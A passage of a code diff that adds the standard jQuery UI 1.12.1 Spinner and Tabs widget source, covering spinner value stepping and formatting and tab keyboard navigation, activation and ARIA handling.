+				return false;
+			}
+
+			this._spin( ( delta > 0 ? 1 : -1 ) * this.options.step, event );
+			clearTimeout( this.mousewheelTimer );
+			this.mousewheelTimer = this._delay( function() {
+				if ( this.spinning ) {
+					this._stop( event );
+				}
+			}, 100 );
+			event.preventDefault();
+		},
+		"mousedown .ui-spinner-button": function( event ) {
+			var previous;
+
+			// We never want the buttons to have focus; whenever the user is
+			// interacting with the spinner, the focus should be on the input.
+			// If the input is focused then this.previous is properly set from
+			// when the input first received focus. If the input is not focused
+			// then we need to set this.previous based on the value before spinning.
+			previous = this.element[ 0 ] === $.ui.safeActiveElement( this.document[ 0 ] ) ?
+				this.previous : this.element.val();
+			function checkFocus() {
+				var isActive = this.element[ 0 ] === $.ui.safeActiveElement( this.document[ 0 ] );
+				if ( !isActive ) {
+					this.element.trigger( "focus" );
+					this.previous = previous;
+
+					// support: IE
+					// IE sets focus asynchronously, so we need to check if focus
+					// moved off of the input because the user clicked on the button.
+					this._delay( function() {
+						this.previous = previous;
+					} );
+				}
+			}
+
+			// Ensure focus is on (or stays on) the text field
+			event.preventDefault();
+			checkFocus.call( this );
+
+			// Support: IE
+			// IE doesn't prevent moving focus even with event.preventDefault()
+			// so we set a flag to know when we should ignore the blur event
+			// and check (again) if focus moved off of the input.
+			this.cancelBlur = true;
+			this._delay( function() {
+				delete this.cancelBlur;
+				checkFocus.call( this );
+			} );
+
+			if ( this._start( event ) === false ) {
+				return;
+			}
+
+			this._repeat( null, $( event.currentTarget )
+				.hasClass( "ui-spinner-up" ) ? 1 : -1, event );
+		},
+		"mouseup .ui-spinner-button": "_stop",
+		"mouseenter .ui-spinner-button": function( event ) {
+
+			// button will add ui-state-active if mouse was down while mouseleave and kept down
+			if ( !$( event.currentTarget ).hasClass( "ui-state-active" ) ) {
+				return;
+			}
+
+			if ( this._start( event ) === false ) {
+				return false;
+			}
+			this._repeat( null, $( event.currentTarget )
+				.hasClass( "ui-spinner-up" ) ? 1 : -1, event );
+		},
+
+		// TODO: do we really want to consider this a stop?
+		// shouldn't we just stop the repeater and wait until mouseup before
+		// we trigger the stop event?
+		"mouseleave .ui-spinner-button": "_stop"
+	},
+
+	// Support mobile enhanced option and make backcompat more sane
+	_enhance: function() {
+		this.uiSpinner = this.element
+			.attr( "autocomplete", "off" )
+			.wrap( "<span>" )
+			.parent()
+
+				// Add buttons
+				.append(
+					"<a></a><a></a>"
+				);
+	},
+
+	_draw: function() {
+		this._enhance();
+
+		this._addClass( this.uiSpinner, "ui-spinner", "ui-widget ui-widget-content" );
+		this._addClass( "ui-spinner-input" );
+
+		this.element.attr( "role", "spinbutton" );
+
+		// Button bindings
+		this.buttons = this.uiSpinner.children( "a" )
+			.attr( "tabIndex", -1 )
+			.attr( "aria-hidden", true )
+			.button( {
+				classes: {
+					"ui-button": ""
+				}
+			} );
+
+		// TODO: Right now button does not support classes this is already updated in button PR
+		this._removeClass( this.buttons, "ui-corner-all" );
+
+		this._addClass( this.buttons.first(), "ui-spinner-button ui-spinner-up" );
+		this._addClass( this.buttons.last(), "ui-spinner-button ui-spinner-down" );
+		this.buttons.first().button( {
+			"icon": this.options.icons.up,
+			"showLabel": false
+		} );
+		this.buttons.last().button( {
+			"icon": this.options.icons.down,
+			"showLabel": false
+		} );
+
+		// IE 6 doesn't understand height: 50% for the buttons
+		// unless the wrapper has an explicit height
+		if ( this.buttons.height() > Math.ceil( this.uiSpinner.height() * 0.5 ) &&
+				this.uiSpinner.height() > 0 ) {
+			this.uiSpinner.height( this.uiSpinner.height() );
+		}
+	},
+
+	_keydown: function( event ) {
+		var options = this.options,
+			keyCode = $.ui.keyCode;
+
+		switch ( event.keyCode ) {
+		case keyCode.UP:
+			this._repeat( null, 1, event );
+			return true;
+		case keyCode.DOWN:
+			this._repeat( null, -1, event );
+			return true;
+		case keyCode.PAGE_UP:
+			this._repeat( null, options.page, event );
+			return true;
+		case keyCode.PAGE_DOWN:
+			this._repeat( null, -options.page, event );
+			return true;
+		}
+
+		return false;
+	},
+
+	_start: function( event ) {
+		if ( !this.spinning && this._trigger( "start", event ) === false ) {
+			return false;
+		}
+
+		if ( !this.counter ) {
+			this.counter = 1;
+		}
+		this.spinning = true;
+		return true;
+	},
+
+	_repeat: function( i, steps, event ) {
+		i = i || 500;
+
+		clearTimeout( this.timer );
+		this.timer = this._delay( function() {
+			this._repeat( 40, steps, event );
+		}, i );
+
+		this._spin( steps * this.options.step, event );
+	},
+
+	_spin: function( step, event ) {
+		var value = this.value() || 0;
+
+		if ( !this.counter ) {
+			this.counter = 1;
+		}
+
+		value = this._adjustValue( value + step * this._increment( this.counter ) );
+
+		if ( !this.spinning || this._trigger( "spin", event, { value: value } ) !== false ) {
+			this._value( value );
+			this.counter++;
+		}
+	},
+
+	_increment: function( i ) {
+		var incremental = this.options.incremental;
+
+		if ( incremental ) {
+			return $.isFunction( incremental ) ?
+				incremental( i ) :
+				Math.floor( i * i * i / 50000 - i * i / 500 + 17 * i / 200 + 1 );
+		}
+
+		return 1;
+	},
+
+	_precision: function() {
+		var precision = this._precisionOf( this.options.step );
+		if ( this.options.min !== null ) {
+			precision = Math.max( precision, this._precisionOf( this.options.min ) );
+		}
+		return precision;
+	},
+
+	_precisionOf: function( num ) {
+		var str = num.toString(),
+			decimal = str.indexOf( "." );
+		return decimal === -1 ? 0 : str.length - decimal - 1;
+	},
+
+	_adjustValue: function( value ) {
+		var base, aboveMin,
+			options = this.options;
+
+		// Make sure we're at a valid step
+		// - find out where we are relative to the base (min or 0)
+		base = options.min !== null ? options.min : 0;
+		aboveMin = value - base;
+
+		// - round to the nearest step
+		aboveMin = Math.round( aboveMin / options.step ) * options.step;
+
+		// - rounding is based on 0, so adjust back to our base
+		value = base + aboveMin;
+
+		// Fix precision from bad JS floating point math
+		value = parseFloat( value.toFixed( this._precision() ) );
+
+		// Clamp the value
+		if ( options.max !== null && value > options.max ) {
+			return options.max;
+		}
+		if ( options.min !== null && value < options.min ) {
+			return options.min;
+		}
+
+		return value;
+	},
+
+	_stop: function( event ) {
+		if ( !this.spinning ) {
+			return;
+		}
+
+		clearTimeout( this.timer );
+		clearTimeout( this.mousewheelTimer );
+		this.counter = 0;
+		this.spinning = false;
+		this._trigger( "stop", event );
+	},
+
+	_setOption: function( key, value ) {
+		var prevValue, first, last;
+
+		if ( key === "culture" || key === "numberFormat" ) {
+			prevValue = this._parse( this.element.val() );
+			this.options[ key ] = value;
+			this.element.val( this._format( prevValue ) );
+			return;
+		}
+
+		if ( key === "max" || key === "min" || key === "step" ) {
+			if ( typeof value === "string" ) {
+				value = this._parse( value );
+			}
+		}
+		if ( key === "icons" ) {
+			first = this.buttons.first().find( ".ui-icon" );
+			this._removeClass( first, null, this.options.icons.up );
+			this._addClass( first, null, value.up );
+			last = this.buttons.last().find( ".ui-icon" );
+			this._removeClass( last, null, this.options.icons.down );
+			this._addClass( last, null, value.down );
+		}
+
+		this._super( key, value );
+	},
+
+	_setOptionDisabled: function( value ) {
+		this._super( value );
+
+		this._toggleClass( this.uiSpinner, null, "ui-state-disabled", !!value );
+		this.element.prop( "disabled", !!value );
+		this.buttons.button( value ? "disable" : "enable" );
+	},
+
+	_setOptions: spinnerModifer( function( options ) {
+		this._super( options );
+	} ),
+
+	_parse: function( val ) {
+		if ( typeof val === "string" && val !== "" ) {
+			val = window.Globalize && this.options.numberFormat ?
+				Globalize.parseFloat( val, 10, this.options.culture ) : +val;
+		}
+		return val === "" || isNaN( val ) ? null : val;
+	},
+
+	_format: function( value ) {
+		if ( value === "" ) {
+			return "";
+		}
+		return window.Globalize && this.options.numberFormat ?
+			Globalize.format( value, this.options.numberFormat, this.options.culture ) :
+			value;
+	},
+
+	_refresh: function() {
+		this.element.attr( {
+			"aria-valuemin": this.options.min,
+			"aria-valuemax": this.options.max,
+
+			// TODO: what should we do with values that can't be parsed?
+			"aria-valuenow": this._parse( this.element.val() )
+		} );
+	},
+
+	isValid: function() {
+		var value = this.value();
+
+		// Null is invalid
+		if ( value === null ) {
+			return false;
+		}
+
+		// If value gets adjusted, it's invalid
+		return value === this._adjustValue( value );
+	},
+
+	// Update the value without triggering change
+	_value: function( value, allowAny ) {
+		var parsed;
+		if ( value !== "" ) {
+			parsed = this._parse( value );
+			if ( parsed !== null ) {
+				if ( !allowAny ) {
+					parsed = this._adjustValue( parsed );
+				}
+				value = this._format( parsed );
+			}
+		}
+		this.element.val( value );
+		this._refresh();
+	},
+
+	_destroy: function() {
+		this.element
+			.prop( "disabled", false )
+			.removeAttr( "autocomplete role aria-valuemin aria-valuemax aria-valuenow" );
+
+		this.uiSpinner.replaceWith( this.element );
+	},
+
+	stepUp: spinnerModifer( function( steps ) {
+		this._stepUp( steps );
+	} ),
+	_stepUp: function( steps ) {
+		if ( this._start() ) {
+			this._spin( ( steps || 1 ) * this.options.step );
+			this._stop();
+		}
+	},
+
+	stepDown: spinnerModifer( function( steps ) {
+		this._stepDown( steps );
+	} ),
+	_stepDown: function( steps ) {
+		if ( this._start() ) {
+			this._spin( ( steps || 1 ) * -this.options.step );
+			this._stop();
+		}
+	},
+
+	pageUp: spinnerModifer( function( pages ) {
+		this._stepUp( ( pages || 1 ) * this.options.page );
+	} ),
+
+	pageDown: spinnerModifer( function( pages ) {
+		this._stepDown( ( pages || 1 ) * this.options.page );
+	} ),
+
+	value: function( newVal ) {
+		if ( !arguments.length ) {
+			return this._parse( this.element.val() );
+		}
+		spinnerModifer( this._value ).call( this, newVal );
+	},
+
+	widget: function() {
+		return this.uiSpinner;
+	}
+} );
+
+// DEPRECATED
+// TODO: switch return back to widget declaration at top of file when this is removed
+if ( $.uiBackCompat !== false ) {
+
+	// Backcompat for spinner html extension points
+	$.widget( "ui.spinner", $.ui.spinner, {
+		_enhance: function() {
+			this.uiSpinner = this.element
+				.attr( "autocomplete", "off" )
+				.wrap( this._uiSpinnerHtml() )
+				.parent()
+
+					// Add buttons
+					.append( this._buttonHtml() );
+		},
+		_uiSpinnerHtml: function() {
+			return "<span>";
+		},
+
+		_buttonHtml: function() {
+			return "<a></a><a></a>";
+		}
+	} );
+}
+
+var widgetsSpinner = $.ui.spinner;
+
+
+/*!
+ * jQuery UI Tabs 1.12.1
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ */
+
+//>>label: Tabs
+//>>group: Widgets
+//>>description: Transforms a set of container elements into a tab structure.
+//>>docs: http://api.jqueryui.com/tabs/
+//>>demos: http://jqueryui.com/tabs/
+//>>css.structure: ../../themes/base/core.css
+//>>css.structure: ../../themes/base/tabs.css
+//>>css.theme: ../../themes/base/theme.css
+
+
+
+$.widget( "ui.tabs", {
+	version: "1.12.1",
+	delay: 300,
+	options: {
+		active: null,
+		classes: {
+			"ui-tabs": "ui-corner-all",
+			"ui-tabs-nav": "ui-corner-all",
+			"ui-tabs-panel": "ui-corner-bottom",
+			"ui-tabs-tab": "ui-corner-top"
+		},
+		collapsible: false,
+		event: "click",
+		heightStyle: "content",
+		hide: null,
+		show: null,
+
+		// Callbacks
+		activate: null,
+		beforeActivate: null,
+		beforeLoad: null,
+		load: null
+	},
+
+	_isLocal: ( function() {
+		var rhash = /#.*$/;
+
+		return function( anchor ) {
+			var anchorUrl, locationUrl;
+
+			anchorUrl = anchor.href.replace( rhash, "" );
+			locationUrl = location.href.replace( rhash, "" );
+
+			// Decoding may throw an error if the URL isn't UTF-8 (#9518)
+			try {
+				anchorUrl = decodeURIComponent( anchorUrl );
+			} catch ( error ) {}
+			try {
+				locationUrl = decodeURIComponent( locationUrl );
+			} catch ( error ) {}
+
+			return anchor.hash.length > 1 && anchorUrl === locationUrl;
+		};
+	} )(),
+
+	_create: function() {
+		var that = this,
+			options = this.options;
+
+		this.running = false;
+
+		this._addClass( "ui-tabs", "ui-widget ui-widget-content" );
+		this._toggleClass( "ui-tabs-collapsible", null, options.collapsible );
+
+		this._processTabs();
+		options.active = this._initialActive();
+
+		// Take disabling tabs via class attribute from HTML
+		// into account and update option properly.
+		if ( $.isArray( options.disabled ) ) {
+			options.disabled = $.unique( options.disabled.concat(
+				$.map( this.tabs.filter( ".ui-state-disabled" ), function( li ) {
+					return that.tabs.index( li );
+				} )
+			) ).sort();
+		}
+
+		// Check for length avoids error when initializing empty list
+		if ( this.options.active !== false && this.anchors.length ) {
+			this.active = this._findActive( options.active );
+		} else {
+			this.active = $();
+		}
+
+		this._refresh();
+
+		if ( this.active.length ) {
+			this.load( options.active );
+		}
+	},
+
+	_initialActive: function() {
+		var active = this.options.active,
+			collapsible = this.options.collapsible,
+			locationHash = location.hash.substring( 1 );
+
+		if ( active === null ) {
+
+			// check the fragment identifier in the URL
+			if ( locationHash ) {
+				this.tabs.each( function( i, tab ) {
+					if ( $( tab ).attr( "aria-controls" ) === locationHash ) {
+						active = i;
+						return false;
+					}
+				} );
+			}
+
+			// Check for a tab marked active via a class
+			if ( active === null ) {
+				active = this.tabs.index( this.tabs.filter( ".ui-tabs-active" ) );
+			}
+
+			// No active tab, set to false
+			if ( active === null || active === -1 ) {
+				active = this.tabs.length ? 0 : false;
+			}
+		}
+
+		// Handle numbers: negative, out of range
+		if ( active !== false ) {
+			active = this.tabs.index( this.tabs.eq( active ) );
+			if ( active === -1 ) {
+				active = collapsible ? false : 0;
+			}
+		}
+
+		// Don't allow collapsible: false and active: false
+		if ( !collapsible && active === false && this.anchors.length ) {
+			active = 0;
+		}
+
+		return active;
+	},
+
+	_getCreateEventData: function() {
+		return {
+			tab: this.active,
+			panel: !this.active.length ? $() : this._getPanelForTab( this.active )
+		};
+	},
+
+	_tabKeydown: function( event ) {
+		var focusedTab = $( $.ui.safeActiveElement( this.document[ 0 ] ) ).closest( "li" ),
+			selectedIndex = this.tabs.index( focusedTab ),
+			goingForward = true;
+
+		if ( this._handlePageNav( event ) ) {
+			return;
+		}
+
+		switch ( event.keyCode ) {
+		case $.ui.keyCode.RIGHT:
+		case $.ui.keyCode.DOWN:
+			selectedIndex++;
+			break;
+		case $.ui.keyCode.UP:
+		case $.ui.keyCode.LEFT:
+			goingForward = false;
+			selectedIndex--;
+			break;
+		case $.ui.keyCode.END:
+			selectedIndex = this.anchors.length - 1;
+			break;
+		case $.ui.keyCode.HOME:
+			selectedIndex = 0;
+			break;
+		case $.ui.keyCode.SPACE:
+
+			// Activate only, no collapsing
+			event.preventDefault();
+			clearTimeout( this.activating );
+			this._activate( selectedIndex );
+			return;
+		case $.ui.keyCode.ENTER:
+
+			// Toggle (cancel delayed activation, allow collapsing)
+			event.preventDefault();
+			clearTimeout( this.activating );
+
+			// Determine if we should collapse or activate
+			this._activate( selectedIndex === this.options.active ? false : selectedIndex );
+			return;
+		default:
+			return;
+		}
+
+		// Focus the appropriate tab, based on which key was pressed
+		event.preventDefault();
+		clearTimeout( this.activating );
+		selectedIndex = this._focusNextTab( selectedIndex, goingForward );
+
+		// Navigating with control/command key will prevent automatic activation
+		if ( !event.ctrlKey && !event.metaKey ) {
+
+			// Update aria-selected immediately so that AT think the tab is already selected.
+			// Otherwise AT may confuse the user by stating that they need to activate the tab,
+			// but the tab will already be activated by the time the announcement finishes.
+			focusedTab.attr( "aria-selected", "false" );
+			this.tabs.eq( selectedIndex ).attr( "aria-selected", "true" );
+
+			this.activating = this._delay( function() {
+				this.option( "active", selectedIndex );
+			}, this.delay );
+		}
+	},
+
+	_panelKeydown: function( event ) {
+		if ( this._handlePageNav( event ) ) {
+			return;
+		}
+
+		// Ctrl+up moves focus to the current tab
+		if ( event.ctrlKey && event.keyCode === $.ui.keyCode.UP ) {
+			event.preventDefault();
+			this.active.trigger( "focus" );
+		}
+	},
+
+	// Alt+page up/down moves focus to the previous/next tab (and activates)
+	_handlePageNav: function( event ) {
+		if ( event.altKey && event.keyCode === $.ui.keyCode.PAGE_UP ) {
+			this._activate( this._focusNextTab( this.options.active - 1, false ) );
+			return true;
+		}
+		if ( event.altKey && event.keyCode === $.ui.keyCode.PAGE_DOWN ) {
+			this._activate( this._focusNextTab( this.options.active + 1, true ) );
+			return true;
+		}
+	},
+
+	_findNextTab: function( index, goingForward ) {
+		var lastTabIndex = this.tabs.length - 1;
+
+		function constrain() {
+			if ( index > lastTabIndex ) {
+				index = 0;
+			}
+			if ( index < 0 ) {
+				index = lastTabIndex;
+			}
+			return index;
+		}
+
+		while ( $.inArray( constrain(), this.options.disabled ) !== -1 ) {
+			index = goingForward ? index + 1 : index - 1;
+		}
+
+		return index;
+	},
+
+	_focusNextTab: function( index, goingForward ) {
+		index = this._findNextTab( index, goingForward );
+		this.tabs.eq( index ).trigger( "focus" );
+		return index;
+	},
+
+	_setOption: function( key, value ) {
+		if ( key === "active" ) {
+
+			// _activate() will handle invalid values and update this.options
+			this._activate( value );
+			return;
+		}
+
+		this._super( key, value );
+
+		if ( key === "collapsible" ) {
+			this._toggleClass( "ui-tabs-collapsible", null, value );
+
+			// Setting collapsible: false while collapsed; open first panel
+			if ( !value && this.options.active === false ) {
+				this._activate( 0 );
+			}
+		}
+
+		if ( key === "event" ) {
+			this._setupEvents( value );
+		}
+
+		if ( key === "heightStyle" ) {
+			this._setupHeightStyle( value );
+		}
+	},
+
+	_sanitizeSelector: function( hash ) {
+		return hash ? hash.replace( /[!"$%&'()*+,.\/:;<=>?@\[\]\^`{|}~]/g, "\\$&" ) : "";
+	},
+
+	refresh: function() {
+		var options = this.options,
+			lis = this.tablist.children( ":has(a[href])" );
+
+		// Get disabled tabs from class attribute from HTML
+		// this will get converted to a boolean if needed in _refresh()
+		options.disabled = $.map( lis.filter( ".ui-state-disabled" ), function( tab ) {
+			return lis.index( tab );
+		} );
+
+		this._processTabs();
+
+		// Was collapsed or no tabs
+		if ( options.active === false || !this.anchors.length ) {
+			options.active = false;
+			this.active = $();
+
+		// was active, but active tab is gone
+		} else if ( this.active.length && !$.contains( this.tablist[ 0 ], this.active[ 0 ] ) ) {
+
+			// all remaining tabs are disabled
+			if ( this.tabs.length === options.disabled.length ) {
+				options.active = false;
+				this.active = $();
+
+			// activate previous tab
+			} else {
+				this._activate( this._findNextTab( Math.max( 0, options.active - 1 ), false ) );
+			}
+
+		// was active, active tab still exists
+		} else {
+
+			// make sure active index is correct
+			options.active = this.tabs.index( this.active );
+		}
+
+		this._refresh();
+	},
+
+	_refresh: function() {
+		this._setOptionDisabled( this.options.disabled );
+		this._setupEvents( this.options.event );
+		this._setupHeightStyle( this.options.heightStyle );
+
+		this.tabs.not( this.active ).attr( {
+			"aria-selected": "false",
+			"aria-expanded": "false",
+			tabIndex: -1
+		} );
+		this.panels.not( this._getPanelForTab( this.active ) )
+			.hide()
+			.attr( {
+				"aria-hidden": "true"
+			} );
+
+		// Make sure one tab is in the tab order
+		if ( !this.active.length ) {
+			this.tabs.eq( 0 ).attr( "tabIndex", 0 );
+		} else {
+			this.active
+				.attr( {
+					"aria-selected": "true",
+					"aria-expanded": "true",
+					tabIndex: 0
+				} );
+			this._addClass( this.active, "ui-tabs-active", "ui-state-active" );
+			this._getPanelForTab( this.active )
+				.show()
+				.attr( {
+					"aria-hidden": "false"
+				} );
+		}
+	},
+
+	_processTabs: function() {
+		var that = this,
+			prevTabs = this.tabs,
+			prevAnchors = this.anchors,
+			prevPanels = this.panels;
+
+		this.tablist = this._getList().attr( "role", "tablist" );
+		this._addClass( this.tablist, "ui-tabs-nav",
+			"ui-helper-reset ui-helper-clearfix ui-widget-header" );
+
+		// Prevent users from focusing disabled tabs via click
+		this.tablist
+			.on( "mousedown" + this.eventNamespace, "> li", function( event ) {
+				if ( $( this ).is( ".ui-state-disabled" ) ) {
+					event.preventDefault();
+				}
+			} )
+
+			// Support: IE <9
+			// Preventing the default action in mousedown doesn't prevent IE
+			// from focusing the element, so if the anchor gets focused, blur.
+			// We don't have to worry about focusing the previously focused
+			// element since clicking on a non-focusable element should focus
+			// the body anyway.
+			.on( "focus" + this.eventNamespace, ".ui-tabs-anchor", function() {
+				if ( $( this ).closest( "li" ).is( ".ui-state-disabled" ) ) {
+					this.blur();
+				}
+			} );
+
+		this.tabs = this.tablist.find( "> li:has(a[href])" )
+			.attr( {
+				role: "tab",
+				tabIndex: -1
+			} );
+		this._addClass( this.tabs, "ui-tabs-tab", "ui-state-default" );
+
+		this.anchors = this.tabs.map( function() {
+			return $( "a", this )[ 0 ];
+		} )
+			.attr( {
+				role: "presentation",
+				tabIndex: -1
+			} );
+		this._addClass( this.anchors, "ui-tabs-anchor" );
+
+		this.panels = $();
+
+		this.anchors.each( function( i, anchor ) {
+			var selector, panel, panelId,
+				anchorId = $( anchor ).uniqueId().attr( "id" ),
+				tab = $( anchor ).closest( "li" ),
+				originalAriaControls = tab.attr( "aria-controls" );
+
+			// Inline tab
+			if ( that._isLocal( anchor ) ) {
+				selector = anchor.hash;
+				panelId = selector.substring( 1 );
+				panel = that.element.find( that._sanitizeSelector( selector ) );
+
+			// remote tab
+			} else {
+
+				// If the tab doesn't already have aria-controls,
+				// generate an id by using a throw-away element
+				panelId = tab.attr( "aria-controls" ) || $( {} ).uniqueId()[ 0 ].id;
+				selector = "#" + panelId;
+				panel = that.element.find( selector );
+				if ( !panel.length ) {
+					panel = that._createPanel( panelId );
+					panel.insertAfter( that.panels[ i - 1 ] || that.tablist );
+				}
+				panel.attr( "aria-live", "polite" );
+			}
+
+			if ( panel.length ) {
+				that.panels = that.panels.add( panel );
+			}
+			if ( originalAriaControls ) {
+				tab.data( "ui-tabs-aria-controls", originalAriaControls );
+			}
+			tab.attr( {
+				"aria-controls": panelId,
+				"aria-labelledby": anchorId
+			} );
+			panel.attr( "aria-labelledby", anchorId );
+		} );
+
+		this.panels.attr( "role", "tabpanel" );
+		this._addClass( this.panels, "ui-tabs-panel", "ui-widget-content" );
+
+		// Avoid memory leaks (#10056)
+		if ( prevTabs ) {
+			this._off( prevTabs.not( this.tabs ) );
+			this._off( prevAnchors.not( this.anchors ) );
+			this._off( prevPanels.not( this.panels ) );
+		}
+	},
+
+	// Allow overriding how to find the list for rare usage scenarios (#7715)
+	_getList: function() {
+		return this.tablist || this.element.find( "ol, ul" ).eq( 0 );
+	},
+
+	_createPanel: function( id ) {
+		return $( "<div>" )
+			.attr( "id", id )
+			.data( "ui-tabs-destroy", true );
+	},
+
+	_setOptionDisabled: function( disabled ) {
+		var currentItem, li, i;
+
+		if ( $.isArray( disabled ) ) {
+			if ( !disabled.length ) {
+				disabled = false;
+			} else if ( disabled.length === this.anchors.length ) {
+				disabled = true;
+			}
+		}
+
+		// Disable tabs
+		for ( i = 0; ( li = this.tabs[ i ] ); i++ ) {
+			currentItem = $( li );
+			if ( disabled === true || $.inArray( i, disabled ) !== -1 ) {
+				currentItem.attr( "aria-disabled", "true" );
+				this._addClass( currentItem, null, "ui-state-disabled" );
+			} else {
+				currentItem.removeAttr( "aria-disabled" );
+				this._removeClass( currentItem, null, "ui-state-disabled" );
+			}
+		}
+
+		this.options.disabled = disabled;
+
+		this._toggleClass( this.widget(), this.widgetFullName + "-disabled", null,
+			disabled === true );
+	},
+
+	_setupEvents: function( event ) {
+		var events = {};
+		if ( event ) {
+			$.each( event.split( " " ), function( index, eventName ) {
+				events[ eventName ] = "_eventHandler";
+			} );
+		}
+
+		this._off( this.anchors.add( this.tabs ).add( this.panels ) );
+
+		// Always prevent the default action, even when disabled
+		this._on( true, this.anchors, {
+			click: function( event ) {
+				event.preventDefault();
+			}
+		} );
+		this._on( this.anchors, events );
+		this._on( this.tabs, { keydown: "_tabKeydown" } );
+		this._on( this.panels, { keydown: "_panelKeydown" } );
+
+		this._focusable( this.tabs );
+		this._hoverable( this.tabs );
+	},
+
+	_setupHeightStyle: function( heightStyle ) {
+		var maxHeight,
+			parent = this.element.parent();
+
+		if ( heightStyle === "fill" ) {
+			maxHeight = parent.height();
+			maxHeight -= this.element.outerHeight() - this.element.height();
+
+			this.element.siblings( ":visible" ).each( function() {
+				var elem = $( this ),
+					position = elem.css( "position" );
+
+				if ( position === "absolute" || position === "fixed" ) {
+					return;
+				}
+				maxHeight -= elem.outerHeight( true );
+			} );
+
+			this.element.children().not( this.panels ).each( function() {
+				maxHeight -= $( this ).outerHeight( true );
+			} );
+
+			this.panels.each( function() {
+				$( this ).height( Math.max( 0, maxHeight -
+					$( this ).innerHeight() + $( this ).height() ) );
+			} )
+				.css( "overflow", "auto" );
+		} else if ( heightStyle === "auto" ) {
+			maxHeight = 0;
+			this.panels.each( function() {
+				maxHeight = Math.max( maxHeight, $( this ).height( "" ).height() );
+			} ).height( maxHeight );
+		}
+	},
+
+	_eventHandler: function( event ) {
+		var options = this.options,
+			active = this.active,
+			anchor = $( event.currentTarget ),
+			tab = anchor.closest( "li" ),
+			clickedIsActive = tab[ 0 ] === active[ 0 ],
+			collapsing = clickedIsActive && options.collapsible,
+			toShow = collapsing ? $() : this._getPanelForTab( tab ),
+			toHide = !active.length ? $() : this._getPanelForTab( active ),
+			eventData = {
+				oldTab: active,
+				oldPanel: toHide,
+				newTab: collapsing ? $() : tab,
+				newPanel: toShow
+			};
+
+		event.preventDefault();
+
+		if ( tab.hasClass( "ui-state-disabled" ) ||
+
+				// tab is already loading
+				tab.hasClass( "ui-tabs-loading" ) ||
+
+				// can't switch durning an animation
+				this.running ||
+
+				// click on active header, but not collapsible
+				( clickedIsActive && !options.collapsible ) ||
+
+				// allow canceling activation
+				( this._trigger( "beforeActivate", event, eventData ) === false ) ) {
+			return;
+		}
+
+		options.active = collapsing ? false : this.tabs.index( tab );
+
+		this.active = clickedIsActive ? $() : tab;
+		if ( this.xhr ) {
+			this.xhr.abort();
+		}
+
+		if ( !toHide.length && !toShow.length ) {
+			$.error( "jQuery UI Tabs: Mismatching fragment identifier." );
+		}
+
+		if ( toShow.length ) {
+			this.load( this.tabs.index( tab ), event );
+		}
+		this._toggle( event, eventData );
+	},
+
+	// Handles show/hide for selecting tabs
+	_toggle: function( event, eventData ) {
+		var that = this,
+			toShow = eventData.newPanel,
+			toHide = eventData.oldPanel;
+
+		this.running = true;
+
+		function complete() {
+			that.running = false;
+			that._trigger( "activate", event, eventData );
+		}
+
+		function show() {
+			that._addClass( eventData.newTab.closest( "li" ), "ui-tabs-active", "ui-state-active" );
+
+			if ( toShow.length && that.options.show ) {
+				that._show( toShow, that.options.show, complete );
+			} else {
+				toShow.show();
+				complete();
+			}
+		}
+
+		// Start out by hiding, then showing, then completing
+		if ( toHide.length && this.options.hide ) {
+			this._hide( toHide, this.options.hide, function() {
+				that._removeClass( eventData.oldTab.closest( "li" ),
+					"ui-tabs-active", "ui-state-active" );
+				show();
+			} );
+		} else {
+			this._removeClass( eventData.oldTab.closest( "li" ),
+				"ui-tabs-active", "ui-state-active" );
+			toHide.hide();
+			show();
+		}
+
+		toHide.attr( "aria-hidden", "true" );
+		eventData.oldTab.attr( {
+			"aria-selected": "false",
+			"aria-expanded": "false"
+		} );
+
+		// If we're switching tabs, remove the old tab from the tab order.
+		// If we're opening from collapsed state, remove the previous tab from the tab order.
+		// If we're collapsing, then keep the collapsing tab in the tab order.
+		if ( toShow.length && toHide.length ) {
+			eventData.oldTab.attr( "tabIndex", -1 );
+		} else if ( toShow.length ) {
+			this.tabs.filter( function() {
+				return $( this ).attr( "tabIndex" ) === 0;
+			} )
+				.attr( "tabIndex", -1 );
+		}
+
+		toShow.attr( "aria-hidden", "false" );
+		eventData.newTab.attr( {
+			"aria-selected": "true",
+			"aria-expanded": "true",
+			tabIndex: 0
+		} );
+	},
+
+	_activate: function( index ) {
+		var anchor,
+			active = this._findActive( index );
+
+		// Trying to activate the already active panel
+		if ( active[ 0 ] === this.active[ 0 ] ) {
+			return;
+		}
+
+		// Trying to collapse, simulate a click on the current active header
+		if ( !active.length ) {
+			active = this.active;
+		}
+
+		anchor = active.find( ".ui-tabs-anchor" )[ 0 ];
+		this._eventHandler( {
+			target: anchor,
+			currentTarget: anchor,
+			preventDefault: $.noop
+		} );
+	},
+
+	_findActive: function( index ) {
+		return index === false ? $() : this.tabs.eq( index );
+	},
+
+	_getIndex: function( index ) {
+
+		// meta-function to give users option to provide a href string instead of a numerical index.
+		if ( typeof index === "string" ) {
+			index = this.anchors.index( this.anchors.filter( "[href$='" +
+				$.ui.escapeSelector( index ) + "']" ) );
+		}
+
+		return index;
+	},
+
+	_destroy: function() {
+		if ( this.xhr ) {
+			this.xhr.abort();
+		}
+
+		this.tablist
+			.removeAttr( "role" )
+			.off( this.eventNamespace );
+
+		this.anchors
+			.removeAttr( "role tabIndex" )
+			.removeUniqueId();
+
+		this.tabs.add( this.panels ).each( function() {
+			if ( $.data( this, "ui-tabs-destroy" ) ) {
+				$( this ).remove();
+			} else {
+				$( this ).removeAttr( "role tabIndex " +
+					"aria-live aria-busy aria-selected aria-labelledby aria-hidden aria-expanded" );
+			}
+		} );
+
+		this.tabs.each( function() {
+			var li = $( this ),
+				prev = li.data( "ui-tabs-aria-controls" );
+			if ( prev ) {
+				li
+					.attr( "aria-controls", prev )
+					.removeData( "ui-tabs-aria-controls" );
+			} else {
+				li.removeAttr( "aria-controls" );
+			}
+		} );
+
+		this.panels.show();
+
+		if ( this.options.heightStyle !== "content" ) {
+			this.panels.css( "height", "" );
+		}
+	},
+
+	enable: function( index ) {
+		var disabled = this.options.disabled;
+		if ( disabled === false ) {
+			return;
+		}
+
+		if ( index === undefined ) {
+			disabled = false;
+		} else {
+			index = this._getIndex( index );
+			if ( $.isArray( disabled ) ) {
+				disabled = $.map( disabled, function( num ) {
+					return num !== index ? num : null;
+				} );
+			} else {
+				disabled = $.map( this.tabs, function( li, num ) {
+					return num !== index ? num : null;
+				} );
+			}
+		}
+		this._setOptionDisabled( disabled );
+	},
+
+	disable: function( index ) {
+		var disabled = this.options.disabled;
